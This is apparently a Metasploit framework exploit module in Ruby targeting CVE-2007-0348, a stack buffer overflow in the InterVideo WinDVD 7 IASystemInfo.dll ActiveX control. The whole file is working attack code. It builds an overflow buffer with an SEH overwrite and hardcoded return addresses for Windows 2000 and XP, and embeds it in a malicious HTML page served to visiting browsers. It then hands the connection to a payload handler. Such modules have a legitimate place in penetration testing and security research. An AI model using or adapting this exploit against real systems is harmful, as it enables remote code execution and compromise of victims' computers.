##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::HttpServer::HTML
  include Msf::Exploit::Remote::Seh

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'WinDVD7 IASystemInfo.DLL ActiveX Control Buffer Overflow',
      'Description'    => %q{
          This module exploits a stack buffer overflow in IASystemInfo.dll ActiveX
        control in InterVideo WinDVD 7. By sending an overly long string
        to the "ApplicationType()" property, an attacker may be able to
        execute arbitrary code.
      },
      'License'        => MSF_LICENSE,
      'Author'         => [ 'MC' ],
      'References'     =>
        [
          [ 'CVE', '2007-0348' ],
          [ 'OSVDB', '34315' ],
          [ 'BID', '23071' ],
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'process',
        },
      'Payload'        =>
        {
          'Space'         => 800,
          'BadChars'      => "\x00\x09\x0a\x0d'\\",
          'StackAdjustment' => -3500,
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          [ 'Windows 2000 Pro English ALL',   { 'Ret' => 0x75022ac4 } ],
          [ 'Windows XP Pro SP0/SP1 English', { 'Ret' => 0x71aa32ad } ],

        ],
      'DisclosureDate' => 'Mar 20 2007',
      'DefaultTarget'  => 0))
  end

  def on_request_uri(cli, request)
    # Re-generate the payload
    return if ((p = regenerate_payload(cli)) == nil)

    # Randomize some things
    vname	= rand_text_alpha(rand(100) + 1)
    strname	= rand_text_alpha(rand(100) + 1)

    # Build the exploit buffer
    filler = rand_text_alpha(548)
    seh = generate_seh_payload(target.ret)
    sploit = filler + seh

    # Build out the message
    content = %Q|<html>
      <object classid='clsid:B727C217-2022-11D4-B2C6-0050DA1BD906' id='#{vname}'></object>
      <script language='javascript'>
      #{strname}= new String('#{sploit}')
      #{vname}.ApplicationType = #{strname}
      </script>
      </html>
      |

    print_status("Sending #{self.name}")

    # Transmit the response to the client
    send_response_html(cli, content)

    # Handle the payload
    handler(cli)
  end
end
